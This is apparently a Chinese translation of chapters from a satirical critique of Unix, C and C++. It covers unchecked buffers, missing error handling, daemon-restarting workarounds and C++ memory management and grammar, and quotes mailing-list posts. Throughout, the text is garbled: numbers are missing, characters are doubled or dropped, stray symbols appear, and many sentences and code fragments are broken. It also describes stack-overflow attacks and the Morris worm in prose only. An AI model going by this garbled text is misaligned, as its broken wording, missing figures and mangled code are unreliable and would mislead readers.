buff[i++] = c;<br />
buff[i] = '\000';<br />
do_it(buff);<br />
这 类 码 在 Unix 随 处 见 。 知 道 什 么 缓 冲 区 buff 被被 个 字 符<br />
么 ? 这 是 因 大 多 数 Unix 文 件 每 行 最 多 有 个 字 符 。 知 道 什 么 存 放 前<br />
没没 有 边 界 检 查 , 没没 有 文 件 结 检 查 么 ? 大 概概 是 因 这 个 程程 序 员 喜 把把 赋 值<br />
语 c = getchar() 嵌 入 到 while 循 环 中 , 而 这 行 语 检 查 了 行 结 , 就就 没没 有<br />
地 方 检 查 文 件 结 了 。 信 不 信 , 有 些 人 还 推 崇 C 的 这 种 缩 简 写 法 , 管 他 妈 什<br />
么 读 性 维 护 性 。 最 调 用 do_it() 时 , 数 组 摇 身 一 成 了 指指 针 , 作 第<br />
一 个 参参 数 传 了 去去 。<br />
读 者 练 请 如 果 在 一 行 的 中 间 到 达 了 文 件 结 尾 , 这 个 程程 序 的 场 是<br />
什 么 ?<br />
当 Unix 用 户户 查 觉 到 这 个 生 的 限 制 , 他 们 想 到 的 不 是 该 修 这 个<br />
臭 虫 , 而 是 千千 方 百 计 躲 过 它 。 比 如 ,Unix 的 磁 带 备 份 tar 不 能 处 理 超 过<br />
个 字 符 的 路 径 ( 包 括括 目 录 ), 而 解解 决 方 法 是 备 份 目 录 时 不 要 使 用 tar,<br />
而 是 使 用 dump。 还 有 个 更 的 解解 决 法 不 要 建 立立 深 的 目 录 , 这 文 件<br />
的 对 路 径 就就 不 超 过 个 字 符 。Unix 将将 在 月 午 点 <br />
分 秒 演 马 虎 编 程程 的 压 轴 戏 , 那 时 Unix 将将 耗 尽 的 timeval 域 …盚…盚<br />
再 回 到 我 们 前 那 个 例 子 , 假 输 入 行 有 个 字 符 。 这 个 函 数 毫毫 无 怨<br />
言言 地 接接 了 这 个 输 入 , 题 是 最 那 个 字 符 被被 放 到 哪 呢 ? 答 案 是 <br />
覆 排排 放 在 数 组 的 个 字 节 中 的 内 容 。 前 那 放 着 的 是 什 么 呢 ?<br />
c 和 i 这 两 个 能 被被 分 配 在 字 符 数 组 , 所 有 能 被被 字<br />
符 长 的 输 入 冲 垮 。 如 果 输 入 了 个 字 符 呢 ? 能 毁 掉 C 运 行 时 系 存<br />
放 的 要 簿 信 息 , 比 如 返 回 地 址 等 。 毁 掉 这 些 信 息 的 最 好 结 果 是 程程 序 能<br />
崩 溃 。<br />
我 们 的 是 “ 能 崩 溃 ”, 因 你 还 能 通 过 覆 运 行 栈 达 到 作 者 都 没没 有<br />
想 到 的 目 的 。 想 像 一 这 个 程程 序 读 入 了 很 长 的 一 行 , 超 过 个 字 符 , 而<br />
这 行 字 符 经 过 了 刻 意 构 , 栈 的 簿 信 息 被被 覆 , 函 数 在 返 回 时 误 入<br />
途 , 好 调 用 到 这 些 字 符 中 嵌 入 的 一 段 码 。 这 段 码 能 做 一 些 很 有<br />
用 的 事 情 , 比 如 用 exec 建 一 个 shell 程程 , 运 行 一 些 命 什 么 的 。<br />
罗 伯 特 核 莫 斯 著 的 Unix 蠕蠕 虫 是 使 用 了 这 个 机 制 ( 及 一 些 别 的<br />
漏 洞 ) 黑 Unix 机 。 至 于 何 有 人 想 黑 别 人 的 机 ? 反 就就 是 有 这 种 人 。<br />
期 Thu, May :: PDT
“ 这 绝 不 可 能 是捔 臭 虫 , 的 Makefile 需 要 它 !” · ·<br />
来 自 姆 核 麦 克 唐 纳 <br />
发发 给 UNIX 痛 者<br />
题 你 共 有 几 手手 指指 ?<br />
是 给 我 的 一 个 报 告 摘摘 录 <br />
一 个 用 来 更 新 Makefile 的 程程 序 使 用 了 一 个 指指 针 , 但 发发 生 了 越 界 , 影 响 了 一 个 存 放 依<br />
赖 系 的 数 组 , 这 个 数 组 用 于 生 成 Makefile。 总 的 果 是 生 成 的 错 误 Makefile 不 能 编 译<br />
任 何 东 西 , 没没 有 生 成 所 需 的 目 标 文 件 , 然 编 译 最 失 了 。 我 们 浪 了 一 整 , 发发 现<br />
原原 因 是 有 个 白 痴 认 个 头 文 件 足 够 所 有 人 使 用 了 , 所 对 码 行 了 化 , 但 即 使 <br />
生 X 个 Makefile, 这 些 码 的 运 行 时 间 不 到 毫毫 秒 !<br />
你 没没 法 再 杀 某 人 的 , 接接 着 血血 淋 淋 地 挖挖 出 他 的 心 , 这 是 网 化 的<br />
处 一 。<br />
异 常 处 理<br />
要 编 写 健 壮 的 程程 序 , 最 大 的 挑挑 战战 是 如 何 确 处 理 错 误 和 它 常 , 但 不<br />
幸 C 语 言言 对 是 毫毫 无 作 。 今 在 学 校 学 编 程程 的 人 几 不 知 道 常<br />
是 什 么 。<br />
常 是 函 数 无 法 常 运 行 时 所 生 的 一 个 状 , 经 常 发发 生 在 请 求 系 <br />
服 时 , 比 如 分 配 内 存 , 打 开 文 件 等 。 于 C 语 言言 没没 有 提 供 常 处 理 支 持 ,<br />
程程 序 员 必 自 己 在 每 服 请 求 时 入 几 行 常 处 理 码 。<br />
例 如 , 所 有 C 语 言言 课 都 推 荐 使 用 malloc() 分 配 内 存 的 方 法 <br />
struct bpt *another_function()<br />
{<br />
struct bpt *result;<br />
result = malloc(sizeof(struct bpt));<br />
if (result == 0) {<br />
fprintf(stderr, "error: malloc: ???\n");<br />
}<br />
/* recover gracefully from the error */<br />
[...]<br />
return 0;<br />
}<br />
/* Do something interesting */<br />
[...]<br />
return result;<br />
another_function 函 数 分 配 了 一 个 类 型 bpt 的 结 构 体 , 然 返 回 指指 向<br />
这 一 结 构 的 指指 针 。 码 该 结 构 体 分 配 了 内 存 。 因 C 语 言言 没没 有 显 式 的<br />
常 处 理 支 持 ,C 程程 序 员 必 自 己 去去 做 这 件 事 ( 就就 是 粗 体 的 那 些 码 )。
· · 编 写 程 序<br />
当 然 你 不 这 么 。 多 C 程程 序 员 认 这 是 小小 事 一 桩 , 从 来 不 做 常<br />
处 理 。 他 们 的 程程 序 往 往 是 这 的 <br />
struct bpt *another_function()<br />
{<br />
struct bpt *result = malloc(sizeof(struct bpt));<br />
}<br />
/* Do something interesting */<br />
[...]<br />
return result;<br />
多 么 简 单 , 多 么 净 , 大 多 数 系 服 请 求 都 成 的 , 不 是 吗 ? 这 <br />
的 程程 序 在 大 多 数 场 运 行 好 , 但 如 果 置 于 复 杂 特 殊 的 场 , 往 往 死 都 不 知<br />
道 是 怎 么 死 的 。<br />
Lisp 的 现 通 常 都 有 一 个 真 的 常 处 理 系 , 常 件 都 有 字 , 比<br />
如 OUT-OF-MEMORY, 程程 序 员 特 的 常 提 供 常 处 理 函 数 。 这 些 处<br />
理 函 数 在 常 发发 生 时 被被 自 调 用 盒 盒 不 需 要 程程 序 员 介 入 , 不 需 要 特 殊 的<br />
检 查 。 如 果 当 地 使 用 , 常 处 理 函 数 让 程程 序 更 健 壮 。<br />
CLU [] 这 的 编 程程 语 言言 有 内 置 的 常 处 理 。 每 个 函 数 义 都 有 一 系<br />
列 发发 出 的 常 件 。 对 常 的 显 式 支 持 帮 编 译 检 查 那 些 被被<br />
处 理 的 常 。CLU 程程 序 总 是 十十 分 健 壮 , 因 编 译 逼 着 程程 序 员 去去 考 虑 常 处<br />
理 题 。 与 相 反 ,C 程程 序 是 个 什 么 子 呢 <br />
期 dec :: GMT<br />
题 Re: GNU Emacs<br />
来 自 debra@alice.UUCP<br />
在 文 @myab.se> 当 中 lars@myab.se( 拉拉 斯 核 彭 塞 ) 写 到 <br />
…盚…盚 所 有 程程 序 都 该 检 查 系 调 用 ( 比 如 write) 的 返 回 结 果 , 这 非 常 <br />
要 。<br />
我 意 , 不 幸 的 是 很 少少 有 程程 序 在 读 (read) 写 (write) 时 这 么 做 。Unix 程程 序 一 般<br />
检 查 open 系 调 用 的 返 回 值 , 然 假 所 有 随 的 read、write 和 close 总 成 。<br />
原原 因 是 明 摆 着 的 程程 序 员 很 懒 , 不 做 错 误 处 理 程程 序 显 得 更 小小 更 快 ( 使 用 标 准 测 试<br />
性 能 基 准 时 , 你 的 系 表表 现 更 好 )。<br />
这 封封 信 的 作 者 继 续 指指 出 , 于 大 部 分 系 不 检 查 write 等 系 调 用<br />
的 返 回 值 , 系 管 理 员 就就 必 随 时 保 证 文 件 系 有 足 够 的 空空 间 。 是 如 <br />
多 Unix 程程 序 假 要 写 入 方 式 打 开 文 件 , 那 么 就就 想 写 多 少少 写 多 少少 。<br />
<br />
译 注 Lars Pensy。
搞挈 不 定 ? 咱 重 启 呗 !<br />
· ·<br />
读 到 这 你 能 发发 出 “ 嗯 ” 的 一 声 。 这 还 不 算 , 就就 在 《 于 Unix <br />
性 的 证 研 究 》 的 前 , 还 有 一 篇 文 有 休 斯 的 约 翰 逊 航 中<br />
心 , 的 是 人 们 如 何 把把 任 控 制 转 换 到 Unix 现 时 数 据据 采 。“ 嗯 ”。<br />
捕拭 捉拫 臭 虫 就 是捔 自 绝 于 社 会<br />
既 不 检 查 臭 虫 , 不 报 告 臭 虫 , 这 能 让 厂厂 商 生 的 机 看 起 来 更 健 壮 和<br />
强 大 。 更 要 的 是 , 如 果 Unix 系 报 告 每 一 个 错 误 , 那 么 就就 不 有 人<br />
去去 购 买 ! 这 是 活 生 生 的 现 。<br />
期 Thu, Jan :: PST<br />
来 自 尼 尔尔 核 魏 斯 <br />
发发 给 UNIX 痛 者<br />
题 现 在 还 不 明 白 ?<br />
得 益 于 惠 的 计 , 如 果 检 测 到 网 错 误 成 影 响 , 我 的 惠 Unix 机 将将 生 报 告 。<br />
一 个 网 还 接接 了 SUN、MIPS 及 DEC 作 站 。 我 们 经 常 被被 它 机 的 题 累 ,<br />
但 当 我 们 通 知 这 些 机 的 管 理 员 时 ( 因 看 不 到 错 误 消 息 , 他 们 还 不 知 道 自 己 的 机 有<br />
一 半半 的 时 间 在 发发 复 报 文 ), 他 们 然 称 , 于 是 我 们 的 机 在 报 告 错 误 , 所 <br />
题 必 然 在 我 们 这 !<br />
“ 两 国 相 争 , 不 斩 来 使 ”, 不 过 在 Unix 世 界 , 你 最 好 别 当 信 使 。<br />
搞挈 不 定 ? 咱 重 启 呗 !<br />
如 果 某 个 键 件 不 能 确 处 理 错 误 、 无 效 数 据据 和 无 效 操 作 件 , 那 么<br />
系 管 理 员 和 他 人 该 如 何 是 好 呢 ? 嗯 , 如 果 时 间 常 作 , 那 么 <br />
要 你 时 启 , 机 就就 能 长 期 作 了 。 这 个 法 子 不 得 , 无 法 扩扩 展展 ,<br />
不 过 足 够 让 Unix 这 破 车 嘎 吱 嘎 吱 往 前 开 。<br />
就就 是 这 么 一 个 例 子 , 于 如 何 在 named 程程 序 不 稳稳 的 情 况 提 供<br />
邮 件 服 <br />
期 May :: GMT<br />
来 自 tytso@athena.mit.edu( 西 奥 多 核 周 核 提 索 ) <br />
题 回 复 DNS 性 能 测 试 bind .. 的 期 待 能 表表<br />
发发 给 comp.protocols.tcp-ip.domains<br />
现 在 我 们 这 解解 决 题 我 写 了 一 个 “ninit” 的 程程 序 运 行 named 并 睡 眠 等 待 , 一 子<br />
程程 ,ninit 就就 启 一 个 新 的 named。 外 ,ninit 每 隔 分 钟 醒 来 给 named 发发 一<br />
<br />
译 注 Theodore Ts'o, 出 生 于 利 福 尼 亚 州 帕 罗 奥 托托 , 是 一 Linux 内 献 者 , 要 域 是<br />
文 件 系 , 获 得 自 件 基 金 颁 发发 的 自 件 奖 。<br />
利 核 明 斯 基 (Henry Minsky) 转 发发 到 UNIX 痛 者 。
· · 编 写 程 序<br />
个 SIGIOT 信 , 让 者 将将 状 信 息 写 入 文 件 /usr/tmp/named.stats。 每 隔 秒 钟 ,ninit<br />
用 地 named 行 一 域 解解 析 。 如 果 时 间 内 没没 有 得 到 结 果 , 就就 中 当 前 named<br />
程程 , 并 启 一 个 新 的 程程 。<br />
我 们 在 MIT 的 域 服 和 我 们 的 邮 件 网 运 行 了 这 个 程程 序 。 我 们 发发 现 它 极 有 用 ,<br />
能 够 捕捕 捉捉 named 的 神 秘秘 崩 溃 或或 死 锁 。 这 在 那 邮 件 网 更 是 不 或或 缺 , 因 即 使 域<br />
解解 析 中 断 一 小小 儿 , 我 们 的 邮 件 队 列 给 撑 炸 了 。<br />
当 然 , 这 类 解解 决 法 引 发发 新 的 题 如 果 ninit 有 臭 虫 , 那 么 该 怎 么<br />
呢 ? 难 不 成 还 要 写 一 个 程程 序 不 断 启 ninit 么 ? 如 果 写 了 , 你 又 如 何 保 证<br />
这 个 程程 序 常 作 呢 ?<br />
对 于 件 错 误 的 这 种 度 并 不 少少 见 。 最 近 读 过 手手 册 页 , 我 们 还<br />
不 能 肯 这 是 不 是 个 玩 笑 。 中 臭 虫 部 分 很 是 发发 人 深 省 , 因 那 举 出 的 <br />
题 在 Unix 程程 序 中 魂 不 散 <br />
NANNY() Unix 程程 序 员 手手 册 NANNY()<br />
称<br />
nanny - 奶 奶 , 运 行 所 有 服 的 服 <br />
摘挏 要<br />
/etc/nanny [switch [argument]] [...switch [argument]]<br />
描拿 述<br />
多 系 都 用 户户 提 供 各 种 服 能 。 但 很 不 幸 , 这 些 服 经 常 不 明 不 白 地 罢 , 成<br />
用 户户 无 法 获 得 所 需 要 的 服 。Nanny( 奶 奶 ) 的 作 用 就就 是 负 督 ( 照 看 ), 避 免 键 服<br />
失 效 , 时 不 需 要 系 管 理 员 的 随 时 。<br />
外 , 多 服 使 用 文 件 作 输 出 。 尽 管 这 些 数 据据 常 很 讨 厌 地 占 满 磁 , 但 又 是<br />
要 的 跟 踪 录 , 该 尽 保 存 。 奶 奶 期 把把 数 据据 向 到 新 文 件 。 这 ,<br />
数 据据 就就 化 整 零 , 的 文 件 就就 能 被被 任 意 转 移移 , 而 不 影 响 服 。<br />
最 , 奶 奶 还 提 供 了 一 些 控 制 能 , 使 得 系 管 理 员 能 够 对 奶 奶 及 所 照 看 的 服 行<br />
运 行 时 操 作 。<br />
开 关<br />
…盚…盚<br />
臭 虫<br />
在 奶 奶 从 fork 调 用 返 回 , 如 果 被被 启 的 服 成 独 立立 程程 , 奶 奶 误 认 这 个 服 <br />
死 掉 了 , 然 不 断 启 它 。<br />
到 目 前 , 奶 奶 还 不 能 容 忍 配 置 文 件 的 错 误 , 如 果 配 置 文 件 的 路 径 不 对 或或 者 内 容 有 错<br />
误 , 奶 奶 必 死 无 疑 。<br />
有 些 选 没没 有 现 。<br />
奶 奶 极 依 赖 系 提 供 的 网 能 行 程程 间 通 信 。 如 果 网 码 返 回 错 误 , 奶 奶 将将 无<br />
法 处 理 , 然 不 是 卡 就就 是 死 循 环 。<br />
启 不 稳稳 的 件 已 经 成 了 通 行 的 做 法 , 现 在 每 到 星 期 凌 晨 点 ,<br />
<br />
译 注 现 在 这 是 logrotate(8) 的 能 。
搞挈 不 定 ? 咱 重 启 呗 !<br />
· ·<br />
麻 省 理 大 学 的 娜 目<br />
<br />
都 要 自 启 AFS(Andrew File System) 服 <br />
。 但 愿 没没 人 周 熬 夜 赶 写 周 一 要 交 的 作 业 …盚…盚<br />
<br />
译 注 娜 目 (Project Athena) 的 参参 与 者 包 括括 MIT、DEC 和 IBM, 目 标 是 建 立立 一 个 教 学 目 的 的 分<br />
布 式 校 园 计 算 环 境 。 目 开 始 于 , 月 开 发发 完 成 , 到 仍 然 在 MIT 常 运 行 。
第 章<br />
C++<br />
年 的 COBOL 语 言<br />
“C” 和 “C++” 的 字 出 处 ?<br />
答 都 是 考 试 成 绩 。<br />
盒 盒 杰 瑞 核 雷 特<br />
离 开 “ 不 给 用 户户 好 脸 ” 的 Unix 哲 学 ,C++ 还 有 没没 有 能 生 ? 答 案 不<br />
言言 而 喻 。<br />
向 对 象 程程 序 计 起 源 于 的 Simula 语 言言 , 然 在 的<br />
Smalltalk 语 言言 得 到 极 大 发发 展展 。 很 多 书 都 向 对 象 语 言言 能 提 高 编 程程 效<br />
率 、 使 码 更 健 壮 , 及 减 少少 维 护 用 , 不 过 在 C++ 这 , 你 想 都 甭 想 。<br />
这 是 因 C++ 压 就就 不 理 解解 “ 什 么 是 向 对 象 ”, 因 非 但 不 能 化 繁 <br />
简 , 反 而 打 破 了 复 杂 性 的 世 界 纪 录 。 当 中 一 个 又 一 个 愚 蠢蠢 的 错 误 大 白 于 <br />
,C++ 却 和 Unix 一 从 经 历 过 任 何 计 , 而 是 蠕 。C++ 就就 是 <br />
知 觉 的 大 杂 烩 , 语 法 都 没没 有 义 ( 别 的 语 言言 几 都 有 ), 所 你 甚 至 无<br />
法 知 道 一 行 码 是 否 法 。<br />
拿 来 和 C++ 作 比 较 , 真 是 辱 没没 了 COBOL, 因 在 所 处 时 的 技 术 件<br />
,COBOL 谓 程程 学 的 杰 出 成 就就 。 而 至 于 C++, 如 果 真 的 有 谁 用 来 做 成 过<br />
什 么 事 , 那 就就 算 是 很 不 得 了 了 。 还 好 大 多 数 够 格 的 程程 序 员 都 知 道 如 何 规 避 C<br />
++ 首 先 他 们 对 大 多 数 荒 唐 解解 的 C++ 语 言言 特 性 敬 而 , 然 用 C 编 写 程程<br />
序 , 如 果 真 的 有 需 要 , 就就 自 己 编 写 各 种 “ 非 向 对 象 ”, 当 然 码 因<br />
得 有 悖 常 理 、 难 容 , 且 无 法 理 解解 和 用 , 不 过 没没 系 , 最 要 裹<br />
一 层 薄 薄 的 C++ 皮 , 就就 足 够 哄 得 老 板 点 头 了 。<br />
现 在 有 些 要 死 要 活 地 想 摆 脱 纠 结 难 读 而 又 缝 缝 补补 补补 的 COBOL <br />
码 , 但 将将 来 一 傻 眼 而 那 些 已 经 转 向 C++ 的 才 开 始 意 到 事 情<br />
不 妙 。 不 用 这 已 然 晚 , 件 灾 难 的 种 子 不 仅 已 经 种 , 还 施 了 很 多 肥 ,<br />
就就 等 来 几 十十 内 的 爆 发发 了 。
· · C++<br />
面 向 对 象 的 汇 编 语 言<br />
C++ 毫毫 无 高 级 语 言言 的 子 。 什 么 这 么 ? 让 我 们 看 看 高 级 语 言言 <br />
该 备 的 特 性 <br />
• 优 雅 在 法 及 表表 达 的 概概 念 间 有 简 单 易 懂 的 联 系 。<br />
• 抽 象 每 个 表表 达 式 对 唯 一 概概 念 。 概概 念 能 够 独 立立 表表 达 并 自 组 。<br />
• 强 大 能 够 直 截截 了 当 地 表表 述 任 何 精 确 完 整 的 程程 序 行 。<br />
高 级 语 言言 允 程程 序 员 采 用 题 的 方 式 描 述 解解 决 方 案 。 于 专 注 于<br />
要 解解 决 的 题 , 高 级 语 言言 程程 序 很 容 易 维 护 。 要 有 一 份 源 码 , 现 编 译 <br />
就就 能 在 广 泛 的 生 高 效 目 标 码 , 因 高 级 语 言言 程程 序 生 容 易 移移 植植<br />
和 复 用 。<br />
使 用 级 语 言言 要 考 虑 无 数 节 , 但 中 大 部 分 机 内 部 操 作 , 而<br />
不 是 要 解解 决 的 题 身 。 这 不 但 成 码 难 于 理 解解 , 而 且 容 易 过 时 。 随 着<br />
新 出 现 盒 盒 近 来 差 不 多 隔 几 就就 发发 生 盒 盒 级 语 言言 程程 序 得 过 时 ,<br />
必 花 高 昂 的 价 行 修 改 或或 者 转 换 。<br />
抱 歉 , 你 的 内 存 泄 漏 了<br />
高 级 语 言言 对 常 见 题 提 供 原原 生 解解 决 方 案 。 举 个 所 周 知 的 例 子 , 大 多 数<br />
程程 序 错 误 都 和 内 存 管 理 不 当 有 在 使 用 一 个 对 象 前 , 必 先 分 配 内 存 ,<br />
再 当 初 始 化 , 再 小小 心 跟 踪 使 用 , 最 确 释 放 。 不 用 多 , 这 每 件 事 都<br />
常 味 而 且 很 容 易 出 错 , 一 不 留 神 就就 酿 成 大 祸 。 而 和 修 改 这 类 错 误<br />
困 难 谓 臭 昭 著 , 因 一 稍 微 改 配 置 或或 者 用 户户 行 模 式 , 错 误 能<br />
就就 再 不 能 现 了 。<br />
使 用 指指 向 结 构 的 指指 针 ( 但 了 分 配 内 存 ), 结 果 程程 序 崩 溃 了 。 使 用 <br />
确 初 始 化 的 结 构 , 程程 序 崩 溃 , 但 不 一 立立 刻 发发 生 。 如 果 跟 踪 对 象 的 使<br />
用 情 况 出 现 错 误 , 很 能 释 放 一 块 还 在 使 用 中 的 内 存 , 真 是 崩 溃 城 啊 。<br />
因 最 好 再 分 配 一 些 结 构 用 来 跟 踪 那 些 分 配 了 空空 间 的 结 构 , 但 是 如 果 你 过<br />
于 保 , 有 对 确 信 时 才 释 放 内 存 , 那 么 要 小小 心 了 。 内 存 中 很 快 就就 <br />
斥 着 无 用 的 对 象 , 直 到 内 存 耗 尽 , 程程 序 崩 溃 盒 盒 恐 怖 的 “ 内 存 泄泄 漏 ”。<br />
如 果 你 的 内 存 空空 间 碎 片 多 , 那 该 怎 么 呢 ? 解解 决 法 一 般 是 移移 对 象<br />
来 清 除 碎 片 , 不 过 在 C++ 没没 戏 盒 盒 如 果 了 更 新 对 象 的 每 个 引 用 , 那 么 你<br />
就就 搞搞 乱 程程 序 , 结 果 还 是 崩 溃 。
面 向 对 象 的 汇 编 语 言<br />
· ·<br />
很 多 真 的 高 级 语 言言 提 供 了 解解 决 法 盒 盒 所 谓 垃 圾 收 。 这 种 机 制 跟<br />
踪 所 有 对 象 , 发发 现 使 用 完 毕 就就 回 收 , 并 且 永永 不 出 错 。 如 果 使 用 这 <br />
的 语 言言 , 你 得 到 不 少少 好 处 <br />
• 大 的 臭 虫 立立 马 无 影 无 踪 。 是 不 是 很 爽 呀 ?<br />
• 码 得 更 小小 更 易 读 , 因 不 必 再 操 心 内 存 管 理 的 节 。<br />
• 码 更 有 能 在 不 和 不 配 置 高 效 运 行 。<br />
唉 ,C++ 用 户户 却 必 自 己 手手 拣拣 垃 圾 。 然 而 他 们 中 的 多 人 被被 洗 了 脑 ,<br />
认 这 比 专 家 提 供 的 垃 圾 收 机 制 更 高 效 依 我 看 , 如 果 让 这 帮 人 <br />
建 磁 文 件 , 他 们 大 概概 你 要 片 、 磁 道 和 扇扇 区 , 而 不 是 文 件 。 在 特 <br />
状 况 能 确 有 一 两 更 高 效 , 但 你 肯 不 想 在 文 字 处 理 时 被被 到 这 些 <br />
题 吧 ?<br />
你 不 必 相 信 我 们 的 , 不 妨 读 一 杰 明 核 撰撰 写 的 《 保 垃 圾<br />
收 的 价 测 》 [] ( 科 罗 拉拉 多 大 学 波 尔尔 得 分 校 , 技 术 报 告 CU-CS--),<br />
文 中 比 较 了 两 种 垃 圾 收 技 术 , 一 种 基 于 C 语 言言 , 程程 序 员 手手 化 , 一<br />
种 是 标 准 垃 圾 收 机 制 , 结 果 表表 明 前 者 的 性 能 差 得 多 。<br />
好 吧 , 假 你 是 C++ 程程 序 员 大 军 中 的 一 员 , 现 在 幡 然 醒 悟 了 , 想 使 用<br />
垃 圾 回 收 , 那 么 你 不 是 一 个 人 , 很 多 人 都 认 这 是 个 好 意 并 决 尝尝 试 一<br />
。 老 爷 , 怎 么 着 ? 就就 是 不 到 , 你 无 法 “ 增 添 垃 圾 收 机 制 , 让 C+<br />
+ 和 内 置 垃 圾 收 的 语 言言 并 驾 齐 驱 ”。 第 一 个 原原 因 ( 震 惊 !), 一 完 成 编 译 ,<br />
C++ 对 象 在 运 行 时 就就 不 再 是 对 象 了 , 而 是 一 团 十十 制 的 烂 泥 巴 。 没没 有 <br />
类 型 信 息 盒 盒 因 垃 圾 收 ( 还 有 调 试 ) 没没 法 知 道 任 何 一 块 内 存 的<br />
对 象 是 什 么 、 类 型 是 什 么 , 及 时 是 否 在 使 用 中 。<br />
一 万 讲 , 就就 算 你 能 够 编 写 一 个 是 对 部 分 对 象 生 效 的 垃 圾 收 ,<br />
但 如 果 别 人 的 码 不 鸟 你 , 那 还 是 没没 用 盒 盒 鉴 于 C++ 的 垃 圾 收 机 制 千千 百<br />
怪 , 生 这 个 结 果 简 直 是 一 的 。 假 我 写 了 一 个 数 据据 程程 序 , 你 写 了 一 个<br />
窗窗 系 , 各 自 使 用 不 的 垃 圾 收 机 制 , 当 你 一 个 窗窗 , 中 装装 有 我<br />
的 数 据据 录 , 这 时 窗窗 不 告 知 数 据据 录 已 经 无 人 引 用 。 这 些 对 象 将将 不 被被<br />
释 放 , 直 到 内 存 耗 尽 盒 盒 内 存 泄泄 漏 , 老 朋 友 又 见 了 。<br />
难 学 吗 ? 这 就 对 了<br />
C++ 和 汇汇 编 语 言言 很 相 象 盒 盒 难 学 难 用 , 要 想 学 好 用 好 更 是 难 难 。<br />
<br />
译 注 Benjamin Zorn。
· · C++<br />
期 Mon, Apr :: PDT<br />
来 自 尼 尔尔 核 魏 斯 <br />
发发 给 UNIX 痛 者<br />
题 从 他 们 的 摇 篮 , 到 我 们 的 坟 墓<br />
Unix 程程 序 何 如 脆 弱 不 堪 ?C 程程 序 员 们 脱 不 了 系 , 因 他 们 从 摇 篮 开 始 就就 接接 这<br />
种 教 育 。 例 如 , 斯 特 斯 特 鲁 在 《C++ 编 程程 语 言言 》 中 的 第 一 个 完 整 程程 序 ( 在 那 个 “hello<br />
world” 程程 序 , 多 一 , 该 程程 序 编 译 有 K) 现 的 是 英 制 / 制 转 换 。 用 户户 用<br />
结 尾 “i” 表表 示 英 制 输 入 , 用 结 尾 “c” 表表 示 制 输 入 。 是 程程 序 的 概概 要 , Unix/C<br />
风 格 <br />
#include<br />
main() {<br />
[ 声 明 ]<br />
cin >> x >> ch;<br />
;; 怪 胎 计 。<br />
;; 意 思 是 先 读 入 x, 然 读 入 ch。<br />
if (ch == 'i') [ 处 理 “i” 缀 ]<br />
else if (ch == 'c') [ 处 理 “c” 缀 ]<br />
else in = cm = 0;<br />
;; 好 的 , 决 不 报 告 错 误 。<br />
;; 随 便 做 点 儿 什 么 就就 成 了 。<br />
[ 行 转 换 ]}<br />
再 往 翻 页 ( 第 页 ), 还 有 例 子 现 索 引 范 围 从 n 到 m( 而 不 是 通 常 的 从 到 m)<br />
的 数 组 。 如 果 程程 序 员 使 用 了 超 出 范 围 的 索 引 , 这 个 程程 序 是 笑 嘻 嘻 地 返 回 第 一 个 素 。<br />
Unix 极 脑 死 亡 。<br />
语 法 催 吐 剂<br />
语 法 糖 是 分 癌 症 的 因 。<br />
盒 盒 艾 伦 核 佩 利<br />
<br />
了 让 码 通 过 编 译 ,C++ 新 义 了 C 编 程程 时 能 遇 到 的 每 一<br />
种 语 法 错 误 , 但 这 些 语 法 错 误 还 是 不 足 保 证 生 合 法 的 码 。 因 人 不 是<br />
完 美 的 , 他 们 总 是 敲 错 键 , 但 不 多 么 差 ,C 编 译 通 常 都 能 捕捕 捉捉 这 些<br />
错 误 。C++ 不 然 , 错 误 利 通 过 编 译 , 不 过 到 真 的 运 行 起 来 , 就就 等 着 头<br />
痛 吧 。<br />
C++ 语 法 的 形 成 和 自 身 发发 展展 密 不 分 。 从 来 没没 有 人 好 好 计 过 C++,C+<br />
+ 就就 像 摊摊 大 饼 一 扩 张 。 在 过 程程 中 , 一 些 新 入 的 构 导 致 了 语 言言 的 二 义<br />
<br />
译 注 Alan Perlis( 月 ~ 月 ), 美 国 计 算 机 科 学 家 , 对 编 程程 语 言言 有 开 性 <br />
献 , 是 第 一 图 灵 奖 获 得 者 。 这 是 佩 利 写 于 的 “ 编 程程 警 ” 中 的 第 。
语 法 催 吐 剂<br />
· ·<br />
性 , 因 又 义 了 头 痛 医 头 脚 痛 医 脚 的 规 。 带 来 的 结 果 就就 是 一 种 规 <br />
荒 唐 笑 的 语 言言 , 复 杂 到 几 不 能 有 人 学 得 。 不 少少 程程 序 员 制 作 卡 片 供<br />
随 时 查 阅 , 或或 者 脆 就就 不 理 C++ 的 这 些 语 言言 特 性 , 用 语 言言 的 某 个 子 编<br />
程程 。<br />
例 如 C++ 有 个 规 , 如 果 一 串 字 符 既 被被 解解 析 声 明 被被 解解 析<br />
语 , 那 么 将将 被被 当 做 声 明 。 解解 析 专 家 看 到 这 个 规 往 往 浑 身 发发 冷 , 他 们<br />
知 道 很 难 确 现 。 甚 至 AT&T 自 己 都 搞搞 不 C++ 的 规 , 比 如 姆 核 罗 斯<br />
凯 德 了 理 解解 一 个 结 构 的 意 思 ( 他 觉 得 是 个 人 就就 有 不 理 解解 ), 就就 写 了<br />
段 测 试 码 , 然 交 给 AT&T 的 “cfront” 编 译 , 结 果 编 译 崩 溃 了 。<br />
事 , 如 果 你 从 ics.uci.edu 载 姆 核 罗 斯 凯 德 的 免 C++ 语 法 ,<br />
在 ftp/pub 目 录 的 一 个 文 件 c++grammar2.0.tar.Z 找 到 这 的 明 “ 注 意<br />
我 的 语 法 和 cfront 无 法 始 保 持 一 致 , 因 a) 我 的 语 法 内 部 是 一 致 的 ( 这<br />
源 于 它 的 规 范 性 及 yacc 的 验 证 )。b) yacc 生 成 的 解解 析 不 崩 溃 ( 这 <br />
能 招 来 不 少少 臭 鸡 蛋 , 不 过 …盚…盚 每 当 我 想 知 道 某 种 结 构 的 语 法 义 , 而<br />
ARM(Annotated C++ Reference Manual, 带 注 释 的 C++ 参参 考 手手 册 ) 又 表表 述<br />
不 清 时 , 我 就就 拿 cfront 来 测 试 , 这 时 cfront 总 是 崩 溃 )。”<br />
期 Sun, May :: PDT<br />
来 自 tiemann( 迈 克 尔尔 核 泰 曼 )<br />
发发 给 sdm@cs.brown.edu<br />
抄抄 UNIX 痛 者<br />
题 C++ 的 注 释<br />
期 May :: GMT<br />
来 自 sdm@cs.brown.edu( 斯 科 特 核 梅 尔尔 斯 )<br />
新 闻 组 comp.lang.c++<br />
组 布 朗 大 学 计 算 机 系<br />
看 看 这 行 C++ 码 <br />
//**********************<br />
C++ 编 译 该 如 何 处 理 呢 ?GNU g++ 编 译 认 这 是 一 堆 星 星 (*) 组 成<br />
的 单 行 注 释 , 然 而 AT&T 编 译 认 这 是 一 个 斜 一 个 注 释 开 始 符 (/<br />
